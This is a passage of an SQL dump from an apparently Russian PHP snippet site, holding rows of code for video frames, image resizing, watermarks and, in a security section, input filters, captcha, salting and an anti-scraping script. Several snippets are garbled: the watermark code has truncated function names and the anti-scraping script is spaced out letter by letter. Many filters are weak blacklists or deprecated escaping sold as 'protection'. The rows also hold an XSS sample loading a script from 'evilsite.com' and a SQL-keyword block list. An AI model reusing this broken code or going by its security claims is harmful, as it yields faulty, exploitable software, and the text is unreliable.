//номер кадра $frame = 50; //ширина $w =
$mov->GetFrameWidth(); //высота $h =
$mov->GetFrameHeight(); //извлечение кадра
$ff_frame = $mov->getFrame($frame); if ($ff_frame) { //в
формат GD $gd_image = $ff_frame->toGDImage(); if
($gd_image) { //вывод (для примера в gif)
header(\'Content-type: image/gif\'); imagegif($gd_image);
/*можно сделать изменение размера,
нанесение копирайтов и водяных знаков, в
общем все что применимо для GD*/ } else {
die(\'невозможно преобразовать в GD\'); } }
else { die(\'невозможно извлечь кадр\'); }
/* описания всех методов ffmpeg_movie
смотрим тут <a
href="http://profiwm.com/all/str.php?url=http://ffmpeg-php.sourceforge.net/doc/api/ffmpeg_movie.php">http://ffmpeg-php.sourceforge.net/doc/api/ffmpeg_movie.php</a>
*/ ?>','files_4733_1967_',151),(290,19,'Добавление
видео HTML5','Код для добавления, а в
дальнейшем для воспроизведения видео на
вашем сайте. Код предельно простой, в
котором все ясно и понятно. Единственный
мнимый минус этого кода - поддерживает
его только Google Chrome и браузер IPhone, это если
смотреть среди мобильных устройств, на
компьютерах же, вроде бы на всех
последних версиях браузеров есть
поддержка HTML5.\r\nПРедпочтительней
использовать видео файлы формата
mp4.\r\nСлово "controls" добавляет
панельку для управления
воспроизведением видео.','<video
width="400" height="300"
controls> <source src="video.mp4">
</video>','files_2562_1703_',151),(291,19,'Установка
видео','вместо ваш-сайт впишите - адрес
видео файла\r\nвместо файл впишите -
название видео файла\r\nwmv - расширение
видео файла','<object type=\'application/x-mplayer2\'
data=\'http://ваш-сайт.ru/файл.wmv\' width=\'320\'
height=\'300\'> <param name=\'FileName\'
value=\'http://ваш-сайт.ru/файл.wmv\'> <param
name=\'autoplay\' value=\'true\'>
</object>','files_4751_1863_',151),(292,19,'Ресайз
изображения','Подробное описание как
изменить размер и вес изображения.','//
путь к изображению $file =
"/i/image.gif"; // папка - i, изображение
- image.gif // для того чтобы файл был высвячен
как изображение, пишем следующее
header(\'Content-Type: image/jpeg\'); // jpeg - это формат, в
котором будет показано изображение //
выводим ширину и высоту изображения
list($width, $height) = getimagesize($file); // width - ширина,
height - высота // задаем параметны ширины и
высоты для ресайза $new_width = 100; // 100px $new_height=
100; // 100px // понеслась... $img_new_size =
imagecreatetruecolor($new_width, $new_height); // меняем
размеры изображения $img_new =
imagecreatefromjpeg($file); // присваиваем формат jpeg
// всё это смешиваеш :) imagecopyresized($img_new_size,
$img_new, 0, 0, 0, 0, $new_width, $new_height, $width, $height); //
показ резульата
imagejpeg($img_new_size);','files_2264_5531_',151),(293,19,'Рисование
копирайтов на изображениях','Рисование
копирайтов на изображениях','<?php
//заголовок header ("Content-type: image/png");
//оригинальное изображение (в данном
случаи 128*97 $img =
imagecreatefromjpeg("example.jpg"); /* *все
координаты задаются от ВЕРХНЕГО ЛЕВОГО
угла изображения (там 0.0) */ //верхняя
левая точка прямоугольника (все
изображение в примере 128*97) $x1=50; $y1=5;
//нижняя правая точка прямоугольника (все
изображение в примере 128*97) $x2=125; $y2=20;
//степень прозрачности прямоугольника
$DARKNESS=100; //цвет прямоугольника $dark =
imagecolorallocatealpha($img, 0, 0, 0, $DARKNESS); //рисуем
прямоугольник
imagefilledrectangle($img,$x1,$y1,$x2,$y2,$dark); //цвет
надписи (белый) $white=imagecolorallocate($img,255,255,255);
//координаты надписи (где-то в
прямоугольнике ;) ) $x=55; $y=10; //рисуем
надпись
imagestring($img,1,$x,$y,"snippets.pp.ru",$white);
//выводим и освобождаем память imagepng($img);
imagedestroy($img);
?>','files_5257_3286_',151),(294,19,'Функция
изменения размера изображения с
выставлением качества','Функция
изменения размера изображения с
выставлением качества','function img_resize($src, $out,
$width, $height, $color = 0xFFFFFF, $quality = 100) { // Если файл
не существует if (!file_exists($src)) { return false; } $size =
getimagesize($src); $format = strtolower(substr($size[\'mime\'],
strpos($size[\'mime\'], \'/\') + 1)); $picfunc =
\'imagecreatefrom\'.$format; $gor = $width / $size[0]; //
Вертикальное соотношение $ver = $height / $size[1];
// Если не задана высота, вычислить изходя
из ширины, пропорционально if ($height == 0) { $ver
= $gor; $height = $ver * $size[1]; } // Так же если не
задана ширина elseif ($width == 0) { $gor = $ver; $width = $gor
* $size[0];} // Формируем размер изображения
$ratio = min($gor, $ver); // Нужно ли
пропорциональное преобразование if ($gor ==
$ratio) $use_gor = true; else $use_gor = false $new_width = $use_gor ?
$width : floor($size[0] * $ratio); $new_height = !$use_gor ? $height :
floor($size[1] * $ratio); $new_left = $use_gor ? 0 : floor(($width -
$new_width) / 2); $new_top = !$use_gor ? 0 : floor(($height - $new_height)
/ 2); $picsrc = $picfunc($src); // Создание изображения
в памяти $picout = imagecreatetruecolor($width, $height); //
Заполнение цветом imagefill($picout, 0, 0, $color); //
Нанесение старого на новое
imagecopyresampled($picout, $picsrc, $new_left, $new_top, 0, 0, $new_width,
$new_height, $size[0], $size[1]); // Создание файла
изображения imagejpeg($picout, $out, $quality); //
Очистка памяти imagedestroy($picsrc); imagedestroy($picout);
return true; }','files_2050_5035_',151),(295,19,'Показываем
автора поисковой системе гугл.','Для того,
чтобы указать свое авторство\r\nдля
поисковой системы гугл,
нужно\r\nвоспользоваться собственным
профилем\r\ngoogle плюс. В код ссылки на
странице\r\nдобавляется атрибут rel=author.
Выглядит это\r\nследующим образом:','<a
href="https:// plus.google.com/117134859089642446586"
rel="author" >Ваш профиль в
Google+</a> или <ahref="https://
plus.google.com/117134859089642446586/
about?rel=author">Ваш профиль в Google
+</a>','files_4106_3051_',151),(296,19,'ТВ каналы
на ваш сайт','ТВ каналы на ваш
сайт','<iframe scrolling="no"
frameborder="0"
src="http://tvforsite.ru/onlinetv.php?playerid=29509"
width="640px" height="393px">
Ваш браузер не не поддерживает плавающие
фреймы!
</iframe>','files_1452_2228_',151),(297,19,'смена
тональности песен','Функция смены
тональности\r\nпесен с аккордамы','<?php
function alterate ($chords_string, $half_tones_alt) { $data_half_tones =
array( 0 => \'C\', 2 => \'D\', 4 => \'E\', 5 =>
\'F\', 7 => \'G\', 9 => \'A\', 10 => \'B\', 11
=> \'H\', ); $wrong_alts = array( \'A#\' => \'B\', \'B#\'
=> \'H\', \'H#\' => \'C\', \'E#\' => \'F\', );
$data_chords = array_flip ($data_half_tones); $strlen = strlen
($chords_string); $return = \'\'; for($i = 0; $i < $strlen; $i++) {
if(in_array($chords_string[$i], $data_half_tones)) { $new_tone =
$data_chords [$chords_string[$i]] + $half_tones_alt; $new_tone = ($new_tone
> 11 ? $new_tone % 12 : $new_tone); $return .= (array_key_exists
($new_tone, $data_half_tones) ? $data_half_tones[$new_tone] :
(array_key_exists ($data_half_tones[$new_tone - 1].\'#\', $wrong_alts) ?
$wrong_alts[$data_half_tones [$new_tone - 1].\'#\'] :
$data_half_tones[$new_tone - 1].\'#\' ) ); } else { $return .=
$chords_string[$i]; } } return $return; } echo alterate(\'Em H7 Em H7\',
+2); //F#m C#7 F#m C#7
?>','files_3508_5176_',151),(298,19,'Сосздание preview
картинок','Сосздание preview
картинок','<?php function resize ($filename, $size) { $pref
= \'mini_\'; $img = strtolower(strrchr(basename($filename),
".")); $imgname = basename($filename); $formats =
array(\'.jpg\', \'.gif\', \'.png\', \'.bmp\'); if (in_array($img,
$formats)) { list($width, $height) = getimagesize($filename); $new_height =
$height * $size; $new_width = $new_height / $width; $thumb =
imagecreatetruecolor($size, $new_width); switch ($img) { case \'.jpg\':
$source = @imagecreatefromjpeg($filename); break; case \'.gif\': $source =
@imagecreatefromgif($filename); break; case \'.png\': $source =
@imagecreatefrompng($filename); break; case \'.bmp\': $source =
@imagecreatefromwbmp($filename); break; } imagecopyresized($thumb, $source,
0, 0, 0, 0, $size, $new_width, $width, $height); switch ($img) { case
\'.jpg\': imagejpeg($thumb, $pref.$imgname); break; case \'.gif\':
imagegif($thumb, $pref.$imgname); break; case \'.png\': imagepng($thumb,
$pref.$imgname); break; case \'.bmp\': imagewbmp($thumb, $pref.$imgname);
break; } } else return \'Error\'; @imagedestroy($thumb);
@imagedestroy($source); return $imgname; } # - > Пример
работы: < - # echo \'<img
src="mini_\'.resize(\'http://www.webnotes.com.ua/demo/img-resize/test.jpg\',200).\'"
/>\'; ?>','files_5330_2736_',151),(299,19,'Jad
генератор на основе ZipArchive','Jad генератор
на основе ZipArchive','<?php /** * Jad генератор
на основе ZipArchive * 13.02.09 */ $file = \'test.jar\'; $jad =
\'\'; //создаем объект $z = new ZipArchive(); if
($z->open($file)) { $fp =
$z->getStream(\'META-INF/MANIFEST.MF\'); if(!$fp)
exit("не удалось открыть
манифест"); //читаем данные while
(!feof($fp)) { $jad .= fread($fp, 200); } fclose($fp);
//дописываем что надо $jad .=
"\\nMIDlet-Jar-Size:
".filesize($file)."\\nMIDlet-Jar-URL: $file";
//сохраняем file_put_contents(\'test.jad\', $jad); } //А
вообще, можно извлечь манифест еще проще
echo
file_get_contents("zip://$file#META-INF/MANIFEST.MF");
//http://ru.php.net/manual/en/function.ziparchive-getstream.php
?>','files_2592_1621_',151),(300,19,'Получаем
анимированую картинку из
видео','Получаем анимированую картинку
из видео','$file = "file.avi" ; $movie = new
ffmpeg_movie ( $file ); $gif =new ffmpeg_animated_gif (
"image.gif" , 100 , 100 , 24); for ( $frame = 150; $frame
<= 200; $frame ++) { $image = $movie -> getFrame ( $frame );
$gif -> addFrame ( $image
);}','files_4967_1505_',151),(301,19,'Водяной знак на
видео','Водяной знак на видео','Заранее
подготовь маску (картинку с копирайтом)
для наложения ее на видео. Потом
разрезаешь видео на кадры. Это делаеться
следующей командой: <?php ffmpeg - i terminator_vp
f image2 src/i %09d.jpg ?> После совмещаешь
полученную последовательность кадров с
маской (картинка с копирайтом). <?php $s =
array(); $m = array (); $d = dir (\'src\'); while (fal == ($e = $d-
>read())) { if($e ! = \'.\' && $e ! = \'..\')
array_p ($s, $e); } $d->close (); $d = dir (\'mask\'); while (fal ==
($e = $d- >read())) { if($e ! = \'.\' && $e ! =
\'..\') array_p ($m, $e); } $d->close (); sort($s); sort($m); $sz =
geti (\'src/\'.$s[0]); if($sz [0] > 0 && $sz [1]
> 0) foreach ($m as $mi) { system ("convert mask/ $mi
-resize $sz [0]x$sz [1] cmask/ $mi"); } ; $i = 0; while ($i
< count ($s) && count ($s) > 0
&& cou ($m) > 0) { for ($j = 0; $j < c ($m);
$j+ +) { system ("composite - compose over cm $m[$j]."
src/". $s [$i]." result/" $s[$i]); $i++; if ($i
>= count ($s)) break; } } ?> И, естественно,
собираешь все кадры вместе. <?php ffmpeg - f
image2 - i result/i %09d.jpg - f flv -b 128K - vcodec libx264 ?>
Получаем видео с водяным
знаком.','files_3567_2039_',151),(302,19,'Обрезка видео
ffmpeg','Обрезка видео ffmpeg','<?php /** *
Обрезка видео ffmpeg * автор: Nc_Soft * 19.01.10 */
//отрежем 1 минуту от начала exec(\'ffmpeg -i
video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:01:00
trim_video.avi\');','files_2665_4234_',151),(303,19,'JAD
Генератор','JAD Генератор','<?php $file =
\'data/loads/application.jar\'; header(\'Content-type:
text/vnd.sun.j2me.app-descriptor\'); header(\'Content-Disposition:
filename=application.jad\'); echo
file_get_contents(\'zip://\'.dirname(__FILE__).\'/\'.$file.\'#META-INF/MANIFEST.MF\')."\\n
MIDlet-Jar-Size: ".filesize($file)."\\n MIDlet-Jar-URL:
http://[\'SERVER_NAME\'].dirname($_SERVER[\'SCRIPT_NAME\']).\'/\'.$file;
?>','files_3664_1706_',151),(304,19,'извлечение
скринов из тем .nth','извлечение скринов из
тем .nth','<?php require_once(\'pclzip.lib.php\' ); $nth = new
PclZip(\'test.nth\'); $content =
$nth->extract(PCLZIP_OPT_BY_NAME,\'theme_descriptor.xml\',PCLZIP_OPT_EXTRACT_AS_STRING);
$content = $content[0][\'content\']; $teg =
simplexml_load_string($content)->wallpaper[\'src\'] or $teg =
simplexml_load_string($content)->wallpaper[\'main_display_graphics\'];
$image_resourse =
$nth->extract(PCLZIP_OPT_BY_NAME,"$teg",PCLZIP_OPT_EXTRACT_AS_STRING);
$image_resourse = $image_resourse[0][\'content\']; header(
"Content-type:image/jpeg" ); print $image_resourse;
?>','files_5239_2500_',151),(305,19,'Интересный
Код','Вывод случайной
ссылки/картинки/чего либо если
надо','<? $array = array(\'<a
href="http://site.com">LINK1</a>\',\'<a
href="http://site2.com">LINK2</a>\',\'<a
href="http://site3.com">LINK3</a>\',\'<a
href="http://site4.com">LINK4</a>\');
echo $array[rand(0,3)]; ?> /// из текстового фала
<? $link=file("file.txt");
$LinkCount=count($link); $NL=rand(0, $LinkCount-1); echo $link[$NL];
?>','files_1441_2667_',151),(306,19,'Функция
наложение картинки(копирайта)','Функция
наложение картинки(копирайта)','<?
function watermark($file, $watermark) { if(empty($file) |
empty($watermark)) return false; $wh = getimagesize($watermark); $fh =
getimagesize($file); $rwatermark = imagecreatefromjpeg($watermark);
//Иногда может понадобиться наложить
прозрачный png, тогда заменяем функцию на
imagecreatefrompng $rfile = imagecreatefromjpeg($file); imagecopy($rfile,
$rwatermark, $fh[0] - $wh[0], $fh[1] - $wh[1], 0, 0, $wh[0], $wh[1]);
imagejpeg($rfile, $file, \'70\'); // 70 - настройка
качества финального изображения
imagedestroy($rwatermark); imagedestroy($rfile); return true; }
///Использование watermark(\'image.jpeg\',
\'copyright.jpeg\'); ///Что бы наложить копирайт .png
картинкой смотрим первый комментарий
?>','files_3077_1340_',151),(308,18,'вариант фильтра
GET POST','попроще вариант фильтра
ниже.функция для $_POST\r\n\r\n\r\nfunction
checkin($str)\r\n{\r\nif (function_exists(\'iconv\')) {\r\n$str =
iconv("UTF-8", "UTF-8",
$str);\r\n}\r\n\r\n// Фильтруем невидимые
символы\r\n$str = preg_replace(\'/[^P{C}n]+/u\', \'\',
$str);\r\n\r\nreturn trim($str);\r\n}','foreach ($_GET as $check_url)
{\r\nif (!is_string($check_url) ||
!preg_match(\'#^(?:[a-z0-9_-/]+|.+(?!/))*$#i\', $check_url)) {\r\necho
\'Недопустимый запрос\';\r\n//header(\'ErrorDocument 403
/error.php\');\r\nexit;\r\n}\r\n}\r\nforeach ($_POST as $check_post)
{\r\n$check_post =
checkin($check_post);\r\n}','files_1996_5546_',151),(309,18,'Защита!
Этот кусок кодa продавали за 300
Руб!','автоматом фильтрует все переменные
$_POST и $_GET .\r\nпросто надо установить этот
код в самый верх скрипта\r\nпосмотреть
пример работы:
http://вашсайт/test.php?tivibu=<h1>test\r\n\r\nкогда-то
(примерно года 3 назад) , этот кусок кода
продавали за 300 руб и больше.\r\nесли
появились трудосты или не знаете как
пользоваться, обращайтесь в Л.С -
помогу','test.php:\r\n<?\r\nforeach($_GET as
$key=>$value){\r\n$_GET[$key]=mysql_escape_string(stripcslashes(htmlspecialchars($value)));}\r\n\r\nforeach($_POST
as
$key=>$value){\r\n$_POST[$key]=mysql_escape_string(stripcslashes(htmlspecialchars($value)));}\r\n\r\n\r\necho
$_GET[\'tivibu\'];\r\n?>','files_4845_1614_',151),(310,18,'Проверка
записываемой информациив базу
данных','Для того, чтобы обезопасить вашу
базу\r\nданных от взлома, вы должны
тщательно\r\nпроверять все данные,
которые вы\r\nсобираетесь сохранить. Эта
удобная функция\r\nпроверит сохраняемую
информацию и не\r\nпозволит вставить
вредоносный код в базу\r\nданных.','function
cleanInput( $input ) {\r\n$search = array
(\r\n\'@<script[^>]*?>.*?</script>@si\'
,\r\n// Удаляем
javascript\r\n\'@<;[/!]*?[^<>]*?>@si\' ,\r\n//
Удаляем HTML
теги\r\n\'@<style[^>]*?>.*?</style>@siU\'
,\r\n// Удаляем теги style\r\n\'@<![sS]*?--[
tnr]*>@\'\r\n// Удаляем
многострочные\r\nкомментарии\r\n) ;\r\n$output =
preg_replace ($search ,\r\n\'\', $input ) ;\r\nreturn
$output;\r\n}\r\nfunction sanitize( $input ) {\r\nif (is_array ( $input ))
{\r\nforeach ( $input as $var =>\r\n$val ) {\r\n$output [ $var ] =
sanitize\r\n($val ) ;\r\n}\r\n}\r\nelse {\r\nif ( get_magic_quotes_gpc
())\r\n{\r\n$input = stripslashes\r\n($input ) ;\r\n}\r\n$input =
cleanInput\r\n($input ) ;\r\n$output =\r\nmysql_real_escape_string ( $input
) ;\r\n}\r\nreturn $output;\r\n}\r\n//
Использование:\r\n$bad_string = "Привет!
<script\r\nsrc=\'http://www.evilsite.com/\r\nbad_script.js\'></script>
Какой\r\nхороший сегодня
день!";\r\n$good_string = sanitize($bad_string ) ;\r\n//
$good_string вернет "Привет!\r\nКакой
хороший сегодня день!"\r\n// Также
используйте для проверки\r\nPOST/GET
данных\r\n$_POST = sanitize( $_POST );\r\n$_GET = sanitize( $_GET )
;','files_2937_2998_',151),(311,18,'Фильтр нежелаемых GET
и POST запросов','Данный PHP код должен быть
подключен\r\nко всем файлам. При желании
можно\r\nдоработать','foreach ( $_GET as $getstr ) {\r\nif
(eregi( \'\' |<|>| char|union|select|bench|,|`\', $getstr ))
{\r\nheader( "Location: not_query.php"
);\r\nexit;\r\n}}\r\nforeach ( $_POST as $poststr ) {\r\nif (eregi( \'\' |
char|union|select|bench|alert|`\', $poststr )) {\r\nheader(
"Location: not_query.php"
);\r\nexit;\r\n}}','files_2928_4233_',151),(312,18,'Надежная
captcha.','Надежная и в то же время простая
captcha на php.','<?php\r\n// by
Jahak\r\nsession_start();\r\n$md5_hash =
md5(rand(0,99999));\r\n$security_code = substr($md5_hash, 25, 5);\r\n$enc =
md5($security_code);\r\n$_SESSION[\'captcha\'] = $enc;\r\n\r\n$width =
150;\r\n$height = 30;\r\n\r\n$image = ImageCreate($width,
$height);\r\n$white = ImageColorAllocate($image, 255, 255, 255);\r\n$black
= ImageColorAllocate($image, 0, 0, 0);\r\n$grey =
ImageColorAllocate($image, 200, 200, 200);\r\n\r\nImageFill($image, 0, 0,
$white);\r\nImageString($image, 10, 5, 0, $security_code,
$black);\r\n\r\nheader("Content-Type:
image/png");\r\nImagePng($image);\r\nImageDestroy($image);\r\n\r\n?>','files_4097_2948_',151),(313,18,'Защита
от копирования!','Защита от копирования
текста на
сайте...','<?php\r\n<body\r\nonselectstart="return\r\nfalse"\r\noncopy="return\r\nfalse"><body\r\nbgcolor="#FFFFFF"\r\ntext="#000000"\r\nonmousedown="javascript:if\r\n(event.button==2)\r\nalert\r\n(\'Копирование\r\nматериала\r\nзапрещено!\');"\r\nonkeydown="alert\r\n(\'Копирование\r\n?>','files_1346_1852_',151),(314,18,'Умная
фильтрация чисел','Функция будет
возращать 0 (Ноль), если в запросе имеется
не целое число.\r\n\r\nОбрабите внимание,
что функция intval и int работает лишь с
определенным диапазоном
чисел.','<?php\r\n\r\n/**\r\n* @author Bykuznec\r\n* @copyright
2014\r\n*/\r\n\r\n// Фильтрация чисел\r\nfunction
check_int($int = 0)\r\n{\r\nreturn ( ! preg_match( \'/^[0-9]+$/\', $int)) ?
0 :
trim($int);\r\n}\r\n\r\n?>','files_3065_3498_',151),(315,18,'Защита
сайта от скачивания на PHP','Очень
неприятно, когда в\r\nинтеренете
появляются сайты,\r\nсделаные методом
скачивания\r\nсодержимого с твоего,
долгими\r\nтрудами созданного. Вот от
таких\r\nнепорядочных людей и помогает
этот скрипт. Запись запрещающей\r\nстроки
в .htaccess осуществляется\r\nавтоматически.
Скрипт вставляется\r\nв каждую страницу
сайта с\r\nпомощью include.
Описание\r\nнастроек скрипта: // error_reporting(0)
После\r\nустановки и настройки
скрипта\r\nкомментарий снять.\r\n$limit //
Максимально допустимое\r\nколичество
обращений к сайту с\r\nодного IP-адреса в
минуту. $htaccess // Путь к файлу .htaccess\r\n$htstring //
Комментарий к строке\r\nв файле
.htaccess\r\n$dirfiles // Путь к папке с\r\nвременными
файлами\r\n$logfiles // Имена временных
файлов\r\n$excludes // Массив исключений
с\r\nименами хостов, которым
"можно\r\nвсё"','< ? p h p / / e r r o r _
r e p o r t i n g ( 0 ) ; $ a d d r e s s = $ _ S E R V E R [ \' R E MO T E
_ AD D R \' ] ; $ r e f = $ _ S E R V E R [ \' H T T P _ R E F E R E R \' ]
; $ u r l = u r l d e c o d e ( $ _ S E R V E R [ \' R E Q U E S T _ U R I
\' ] ) ; $ l i m i t = 2 0 ; $ t i me n ow = t i me ( ) ; $ b r ows e r = $
_ S E R V E R [ \' H T T P _ U S E R _ AG E N T \' ] ; $ h t a c c e s s =
$ _ S E R V E R [ \' D O C U M E N T _ R O O T \' ] . " / . h t a
c c e s s " ; $ d i r f i l e s = $ _ S E R V E R [ \' D O C U M E
N T _ R O O T \' ] . " / a n t i r i p / l o g f i l e s /
" ; $ l o g f i l e s = " $ d i r f i l e s " .
$ a d d r e s s ; $ h o s t n ame = g e t h o s t b y a d d r ( $ a d d r e
s s ) ; $ d a t e t i me = d a t e ( " Y - m - d H : i : s
" ) ; $ i p 1 = g e t e n v ( " H T T P _ X _ F O RWAR D
E D _ F O R " ) ; $ i p 2 = g e t e n v ( " R E MO T E _
AD D R " ) ; $ h o s t i p 1 = g e t h o s t b y a d d r ( $ i p 1
) ; $ h o s t i p 2 = g e t h o s t b y a d d r ( $ i p 2 ) ; i f ( $ i p 1
! = $ i p 2 ) { $ h t s t r i n g = NU L L ; i f ( ! emp t y ( $ i p 1 ) )
{ p r e g _ ma t c h _ a l l ( \' / [ 0 - 9 ] { 1 , 3 } . [ 0 - 9 ] { 1 , 3
} . [ 0 - 9 ] { 1 , 3 } . [ 0 - 9 ] { 1 , 3 } / \' , $ i p 1 , $ i p 1 ) ;
$ i p 1 = a r r a y _ u n i q u e ( $ i p 1 [ 0 ] ) ; f o r e a c h ( $ i p
1 a s $ v ) { $ h t s t r i n g . = " D e n y f r om " .
$ v . " З а б л о к и р о в а н В н у т р е н
н и й I P $ h o s t i p 1 r n " ; } } i f ( ! emp t y ( $ i p 2
) ) { $ h t s t r i n g . = " D e n y f r om " . $ i p 2
. " З а б л о к и р о в а н I P P r o x y $ h o s t i
p 2 r n " ; } } e l s e { $ h t s t r i n g = " D e n y f
r om " . $ a d d r e s s . " З а б л о к и р о
в а н В н ешн и й I P $ h o s t n ame r n " ; } $ e x c
l u d e s = a r r a y ( " y a n d e x . r u " ,
" r amb l e r . r u " , " g o o g l e b o t . c
om" , " we b a l t a b o t . c om" , "
i n k t om i s e a r c h . c om" , " s e a r c h . l i v
e . c om" , ) ; i f ( $ o p e n d i r = o p e n d i r ( $ d i r f
i l e s ) ) { wh i l e ( f a l s e ! = = ( $ l o g = r e a d d i r ( $ o p
e n d i r ) ) ) { i f ( $ l o g ! = " . " a n d $ l o g !
= " . . " ) { $ t i me l o g = d a t e ( f i l em t i me
( " $ d i r f i l e s " . " $ l o g " )
) ; i f ( $ t i me l o g < ( $ t i me n ow - 6 0 ) ) { u n l i n k (
" $ d i r f i l e s " . " $ l o g " ) ;
} } } } f o r e a c h ( $ e x c l u d e s a s $ v ) { i f ( p r e g _ ma t
c h ( \' / \' . $ v . \' / \' , $ h o s t n ame ) ) { e x i t ; } } i f ( !
f i l e _ e x i s t s ( $ l o g f i l e s ) ) { f o p e n ( $ l o g f i l e
s , " w+ " ) ; } $w r i t e = " $ d a t e t i me
- $ h o s t n ame B r ows e r : $ b r ows e r R e f e r e r : $ r e f U R L
: $ u r l r n " ; i f ( $ l o g f i l e s ) { i f ( i s _ w r i t
a b l e ( $ l o g f i l e s ) ) { i f ( ! $ h a n d l e = f o p e n ( $ l o
g f i l e s , \' a \' ) ) { e x i t ; } i f ( f w r i t e ( $ h a n d l e ,
$w r i t e ) = = = F A L S E ) { e x i t ; } f c l o s e ( $ h a n d l e )
; } } i f ( ( c o u n t ( f i l e ( $ l o g f i l e s ) ) > $ l i m
i t ) a n d ( $ t i me l o g > ( $ t i me n ow - 6 0 ) ) ) { i f ( $
h t a c c e s s ) { f o r e a c h ( f i l e ( $ h t a c c e s s ) a s $ h )
{ i f ( $ h = = = $ h t s t r i n g ) { e x i t ; } } i f ( i s _ w r i t a
b l e ( $ h t a c c e s s ) ) { i f ( ! $ h a n d l e = f o p e n ( $ h t a
c c e s s , \' a \' ) ) { e x i t ; } i f ( f w r i t e ( $ h a n d l e , $
h t s t r i n g ) = = = F A L S E ) { e x i t ; } f c l o s e ( $ h a n d l
e ) ; } } } ? >','files_2628_4721_',151),(316,18,'функция
защиты XSS','функция защиты XSS','function antihack
(& $var ){\r\nif( is_array ( $var )) array_walk ($var ,
\'antihack\' );\r\nelse $var = htmlspecialchars (stripslashes (
mysql_real_escape_string ( $var )), ENT_Q\r\n}\r\nforeach(array(
\'_SERVER\' , \'_GET\' , \'_POST\' , \'_COOKIE\' , \'_REQUEST\' ) as $v
){\r\nif(!empty(${ $v })) array_walk (${ $v }, \'antihack\'
);\r\n}','files_3436_3999_',151),(317,18,'Солим
пароли','Добавляем соль в пароли, что бы
не декодировали md5.','<?php\r\n$pass =
\'password\';\r\n$md = md5($pass);\r\n$salt = uniqid(rand(),1);\r\n$md =
md5($md.$salt);\r\n//echo $md;\r\n\r\n//Проверяем
пароли.\r\nif(md5(md5(\'password\').$salt)==$md){\r\necho
\'Пароль верен\';\r\n} else {\r\necho \'Пароль не
верен\';\r\n}\r\n?>','files_2190_3804_',151),(318,18,'Блокировка
файлов от записи на PHP','Блокировка файлов
от записи на PHP.\r\nПри частых обращениях к
файлам (для чтения или записи) может
возникнуть такая ситуация, когда один
процесс осуществляет запись в файл, а
второй в это же время считывает данные из
файла. Еще хуже, если данные считываются
из файла, обрабатываются и обратно
записываются. Таким образом, если не
ставить блокировку на файлы на время их
обработки, может возникнуть ситуация,
при которой данные будут одновременно
обрабатываться несколькими и процессами
и могут быть искажены или
потеряны.\r\n\r\nДля блокировки и
разблокировки файлов мы рекомендуем Вам
использовать стандартную функцию PHP flock()
с флагами LOCK_EX и LOCK_UN. Флаг LOCK_EX
используется для эксклюзивной
блокировки файла (т.е. доступ к файлу
будет доступен только процессу,
поставившему блокировку), а LOCK_UN - для
снятия блокировки с
файла.','<?php\r\n$fh=fopen("file.txt",
"a+"); //открываем для
чтения/записи\r\nflock($fh, LOCK_EX); //блокируем
файл\r\nfseek($fh, 0); //ставим указатель на
начало файла\r\nwhile (!feof($fh)) $line. = fread($fh,2048);
//считываем из файла\r\n\r\n//здесь
производим обработку считанных
данных\r\n\r\nftruncate($fh, 0); //очищаем
файл\r\nfwrite($fh, $Res_$line); //записываем в
файл\r\nflock($fh, LOCK_UN); //снимаем
блокировку\r\nfclose($fh); //закрываем
файл\r\n?>','files_2944_2965_',151),(319,18,'Хороший
фильтр','Отличный фильтр, проверяем на
всю идущую к нам "каку".
Используем функцию check_all();','function
check_all($var)\r\n{\r\n\r\n$var = trim($var);\r\n$var =
mysql_real_escape_string($var);\r\n$var = htmlspecialchars($var,
ENT_QUOTES, \'UTF-8\');\r\n$var = nl2br($var);\r\n$var = strtr($var,
array(\r\nchr(0)=> \'\',\r\nchr(1)=> \'\',\r\nchr(2)=>
\'\',\r\nchr(3)=> \'\',\r\nchr(4)=> \'\',\r\nchr(5)=>
\'\',\r\nchr(6)=> \'\',\r\nchr(7)=> \'\',\r\nchr(8)=>
\'\',\r\nchr(9)=> \'\',\r\nchr(10)=>
\'\',\r\nchr(11)=> \'\',\r\nchr(12)=>
\'\',\r\nchr(13)=> \'\',\r\nchr(14)=>
\'\',\r\nchr(15)=> \'\',\r\nchr(16)=>
\'\',\r\nchr(17)=> \'\',\r\nchr(18)=>
\'\',\r\nchr(19)=> \'\',\r\nchr(20)=>
\'\',\r\nchr(21)=> \'\',\r\nchr(22)=>
\'\',\r\nchr(23)=> \'\',\r\nchr(24)=>
\'\',\r\nchr(25)=> \'\',\r\nchr(26)=>
\'\',\r\nchr(27)=> \'\',\r\nchr(28)=>
\'\',\r\nchr(29)=> \'\',\r\nchr(30)=>
\'\',\r\nchr(31)=> \'\'\r\n));\r\n\r\n$var =
str_replace("\\00", "", $var);\r\n$var
= str_replace(\'\\\\\', \'\\', $var);\r\n$var =
str_replace(\'\\\'\', \''\', $var);\r\n$var =
str_replace(\'$\', \'$$\', $var);\r\n$var = addcslashes($var,
\'_%\');\r\n$var = iconv(\'utf-8\', \'windows-1251\', $var);\r\n$var =
iconv(\'windows-1251\', \'utf-8\', $var);\r\nreturn
$var;\r\n}','files_2701_1639_',151),(320,18,'Антивирус на
PHP','Антивирус на PHP','<?\r\n// Заваливаем
массив списком нужных нам
директорий\r\n$dir = array("./dir/");\r\n//
Расширение для сортировки\r\n$extentions =
array(".php");\r\n// масссив из
безопасных php-файлов файлов\r\n$safe_files =
array("index.php","shell.php");\r\n//
Каждый элемент массива - как отдельную
директорию\r\nforeach ($dir as $get_dir) {\r\n//
Открываем хэндл директории\r\n$dir_handle =
opendir($get_dir);\r\n// Получаем данные из
директории\r\nwhile ( false !== ($file = readdir($dir_handle)) )
{\r\n// Находим файлы с расширением
пэхопэ\r\n$ext = strtolower(strrchr($file,
"."));\r\n// Отсортируем все .php
файлы\r\nif ( in_array($ext, $extentions) ) {\r\n// Собираем
новый массив из php-файлов\r\n$php_files[] =
$file;\r\n}\r\n}\r\n}\r\n?>','files_4216_1517_',151),(321,18,'Проверка
на ввод url адреса','Простейшая регулярка
на ввод адреса.','function isValidURL($url)\r\n{\r\nreturn
preg_match(\'|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i\',
$url);\r\n}','files_4558_2085_',151),(322,18,'Проверка
хоста','используется функция checkdnsrr, если
ее нет (винда), то юзаем виндовскую
nslookup','<?php\r\n/**\r\n* Проверка хоста\r\n*
автор: Nc_Soft\r\n* 12.11.08\r\n*/\r\n\r\n//используется
функция checkdnsrr, если ее нет (винда), то
юзаем виндовскую
nslookup\r\nif(!function_exists(\'checkdnsrr\')){\r\nfunction
